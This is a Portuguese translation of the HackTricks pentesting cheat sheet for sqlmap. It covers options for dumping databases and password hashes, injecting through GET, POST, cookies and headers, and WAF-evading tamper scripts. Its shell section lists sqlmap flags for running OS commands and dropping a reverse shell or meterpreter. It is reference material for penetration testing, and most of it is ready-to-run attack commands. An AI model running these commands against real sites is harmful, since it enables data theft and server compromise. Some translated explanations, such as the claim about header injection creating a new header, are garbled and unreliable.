hacktricks/pentesting-web/sql-injection/sqlmap.md
2023-06-06 18:56:34 +00:00

252 lines
15 KiB
Markdown

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
# Argumentos básicos para o SQLmap
## Genérico
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## Recuperar Informações
### Interno
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
### Dados do banco de dados
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# Local de Injeção
## A partir da captura do Burp/ZAP
Capture a requisição e crie um arquivo req.txt
```bash
sqlmap -r req.txt --current-user
```
## Injeção em Requisições GET
### Introdução
A injeção em requisições GET é uma técnica de ataque que explora vulnerabilidades em parâmetros de URL para executar comandos maliciosos no servidor. Essa técnica é semelhante à injeção SQL, mas em vez de explorar vulnerabilidades em consultas SQL, ela explora vulnerabilidades em parâmetros de URL.
### Identificando Vulnerabilidades
Para identificar vulnerabilidades em parâmetros de URL, você pode usar o Sqlmap. O Sqlmap é uma ferramenta de teste de penetração que automatiza a detecção e exploração de vulnerabilidades de injeção SQL. Ele também pode ser usado para identificar vulnerabilidades em parâmetros de URL.
### Executando um Ataque
Para executar um ataque de injeção em requisições GET, você precisa identificar um parâmetro de URL vulnerável. Você pode fazer isso usando o Sqlmap ou manualmente, examinando a URL em busca de parâmetros que possam ser explorados.
Depois de identificar um parâmetro vulnerável, você pode usar o Sqlmap para explorá-lo. O Sqlmap tentará injetar comandos maliciosos no parâmetro e, se bem-sucedido, executará esses comandos no servidor.
### Prevenção
Para prevenir ataques de injeção em requisições GET, é importante validar e sanitizar todos os dados de entrada. Isso inclui dados de entrada em parâmetros de URL. Além disso, é importante limitar o acesso aos parâmetros de URL para evitar que usuários mal-intencionados explorem vulnerabilidades.
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## Injeção de Requisição POST
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Injeções em Headers e outros Métodos HTTP
### Header Injection
### Injeção em Headers
Header injection vulnerabilities occur when user input is not properly sanitized and is included in an HTTP header. This can allow an attacker to inject additional headers or modify existing ones, potentially leading to a range of attacks such as cross-site scripting (XSS), session hijacking, and cache poisoning.
Vulnerabilidades de injeção em headers ocorrem quando a entrada do usuário não é devidamente sanitizada e é incluída em um header HTTP. Isso pode permitir que um atacante injete headers adicionais ou modifique os existentes, potencialmente levando a uma série de ataques, como cross-site scripting (XSS), sequestro de sessão e envenenamento de cache.
To test for header injection vulnerabilities, you can use the `--header` option in sqlmap to specify a custom header with a payload. For example:
Para testar vulnerabilidades de injeção em headers, você pode usar a opção `--header` no sqlmap para especificar um header personalizado com uma carga útil. Por exemplo:
```
sqlmap -r request.txt --header="X-Forwarded-For: 127.0.0.1' or '1'='1"
```
This will send a request with the `X-Forwarded-For` header set to `127.0.0.1' or '1'='1`, which will be interpreted by the server as `127.0.0.1`, followed by a new header `or '1'='1'`.
Isso enviará uma solicitação com o header `X-Forwarded-For` definido como `127.0.0.1' or '1'='1`, que será interpretado pelo servidor como `127.0.0.1`, seguido de um novo header `or '1'='1'`.
### Other HTTP Methods
### Outros Métodos HTTP
In addition to GET and POST requests, there are several other HTTP methods that can be used to interact with a web application, including PUT, DELETE, and OPTIONS. These methods are often used in RESTful APIs and can be vulnerable to injection attacks.
Além das solicitações GET e POST, existem vários outros métodos HTTP que podem ser usados para interagir com um aplicativo da web, incluindo PUT, DELETE e OPTIONS. Esses métodos são frequentemente usados em APIs RESTful e podem ser vulneráveis a ataques de injeção.
To test for injection vulnerabilities in these methods, you can use the `--method` option in sqlmap to specify the HTTP method to use. For example:
Para testar vulnerabilidades de injeção nesses métodos, você pode usar a opção `--method` no sqlmap para especificar o método HTTP a ser usado. Por exemplo:
```
sqlmap -r request.txt --method=PUT --data="id=1&name=admin'"
```
This will send a PUT request with the data `id=1&name=admin'` in the body, which will be interpreted by the server as `id=1&name=admin`, followed by a single quote.
Isso enviará uma solicitação PUT com os dados `id=1&name=admin'` no corpo, que será interpretado pelo servidor como `id=1&name=admin`, seguido de uma única aspa.
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## Injeção de segunda ordem
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Shell
## Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Rastreando um site com SQLmap e auto-exploit
O SQLmap é uma ferramenta poderosa para testes de penetração em sites que possuem vulnerabilidades de injeção de SQL. Uma das funcionalidades mais úteis do SQLmap é a capacidade de rastrear automaticamente um site em busca de vulnerabilidades de injeção de SQL e, em seguida, explorá-las automaticamente.
Para rastrear um site com SQLmap, basta executar o seguinte comando:
```
sqlmap -u <URL> --crawl=1
```
Isso fará com que o SQLmap rastreie o site especificado na URL e procure por vulnerabilidades de injeção de SQL. O parâmetro `--crawl=1` indica que o SQLmap deve seguir todos os links encontrados no site e rastreá-los também.
Se o SQLmap encontrar uma vulnerabilidade de injeção de SQL, ele tentará explorá-la automaticamente. Isso pode incluir a extração de dados do banco de dados, a execução de comandos no sistema operacional do servidor e muito mais.
É importante lembrar que o uso do SQLmap em um site sem autorização prévia é ilegal e pode resultar em consequências graves. Sempre obtenha permissão antes de realizar testes de penetração em um site.
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# Personalizando a Injeção
## Definindo um sufixo
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
## Prefixo
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## Ajuda para encontrar injeção booleana
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Manipulação
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Descrição |
| :--- | :--- |
| apostrophemask.py | Substitui o caractere de apóstrofo pelo seu equivalente UTF-8 de largura total |
| apostrophenullencode.py | Substitui o caractere de apóstrofo pelo seu equivalente duplo unicode ilegal |
| appendnullbyte.py | Adiciona um byte nulo codificado ao final da carga útil |
| base64encode.py | Codifica em base64 todos os caracteres em uma determinada carga útil |
| between.py | Substitui o operador maior que \('&gt;'\) por 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Substitui o caractere de espaço após a instrução SQL por um caractere em branco válido aleatório. Em seguida, substitui o caractere '=' pelo operador LIKE |
| chardoubleencode.py | Codifica em URL dupla todos os caracteres em uma determinada carga útil \(não processando os já codificados\) |
| commalesslimit.py | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M' |
| commalessmid.py | Substitui instâncias como 'MID\(A, B, C\)' por 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Substitui instâncias como 'CONCAT\(A, B\)' por 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Codifica em URL todos os caracteres em uma determinada carga útil \(não processando os já codificados\) |
| charunicodeencode.py | Codifica em URL Unicode caracteres não codificados em uma determinada carga útil \(não processando os já codificados\). "%u0022" |
| charunicodeescape.py | Codifica em URL Unicode caracteres não codificados em uma determinada carga útil \(não processando os já codificados\). "\u0022" |
| equaltolike.py | Substitui todas as ocorrências do operador igual \('='\) pelo operador 'LIKE' |
| escapequotes.py | Escapa aspas \(' and "\) |
| greatest.py | Substitui o operador maior que \('&gt;'\) pelo seu equivalente GREATEST |
| halfversionedmorekeywords.py | Adiciona comentário versionado do MySQL antes de cada palavra-chave |
| ifnull2ifisnull.py | Substitui instâncias como 'IFNULL\(A, B\)' por 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Abraça a consulta completa com comentário versionado |
| modsecurityzeroversioned.py | Abraça a consulta completa com comentário de versão zero |
| multiplespaces.py | Adiciona vários espaços em torno de palavras-chave SQL |
| nonrecursivereplacement.py | Substitui palavras-chave SQL predefinidas por representações adequadas para substituição \(por exemplo, .replace\("SELECT", ""\)\) filtros |
| percentage.py | Adiciona um sinal de porcentagem \('%'\) na frente de cada caractere |
| overlongutf8.py | Converte todos os caracteres em uma determinada carga útil \(não processando os já codificados\) |
| randomcase.py | Substitui cada caractere de palavra-chave por um valor de caso aleatório |
| randomcomments.py | Adiciona comentários aleatórios às palavras-chave SQL |
| securesphere.py | Acrescenta uma string especial criada |
| sp\_password.py | Acrescenta 'sp\_password' ao final da carga útil para obfuscação automática dos logs do DBMS |
| space2comment.py | Substitui o caractere de espaço \(' '\) por comentários |
| space2dash.py | Substitui o caractere de espaço \(' '\) por um comentário de traço \('--'\) seguido de uma string aleatória e uma nova linha \('\n'\) |
| space2hash.py | Substitui o caractere de espaço \(' '\) por um caractere de libra \('\#'\) seguido de uma string aleatória e uma nova linha \('\n'\) |
| space2morehash.py | Substitui o caractere de espaço \(' '\) por um caractere de libra \('\#'\) seguido de uma string aleatória e uma nova linha \('\n'\) |
| space2mssqlblank.py | Substitui o caractere de espaço \(' '\) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| space2mssqlhash.py | Substitui o caractere de espaço \(' '\) por um caractere de libra \('\#'\) seguido de uma nova linha \('\n'\) |
| space2mysqlblank.py | Substitui o caractere de espaço \(' '\) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| space2mysqldash.py | Substitui o caractere de espaço \(' '\) por um comentário de traço \('--'\) seguido de uma nova linha \('\n'\) |
| space2plus.py | Substitui o caractere de espaço \(' '\) por um sinal de mais \('+'\). |
| space2randomblank.py | Substitui o caractere de espaço \(' '\) por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
| symboliclogical.py | Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos \(&& e |
| unionalltounion.py | Substitui UNION ALL SELECT por UNION SELECT |
| unmagicquotes.py | Substitui o caractere de aspas \('\) por uma combinação multibyte %bf%27 juntamente com um comentário genérico no final \(para fazê-lo funcionar\) |
| uppercase.py | Substitui cada caractere de palavra-chave por um valor em maiúscula 'INSERT' |
| varnish.py | Acrescenta um cabeçalho HTTP 'X-originating-IP' |
| versionedkeywords.py | Encerra cada palavra-chave não funcional com comentário versionado do MySQL |
| versionedmorekeywords.py | Encerra cada palavra-chave com comentário versionado do MySQL |
| xforwardedfor.py | Acrescenta um cabeçalho HTTP falso 'X-Forwarded-For' |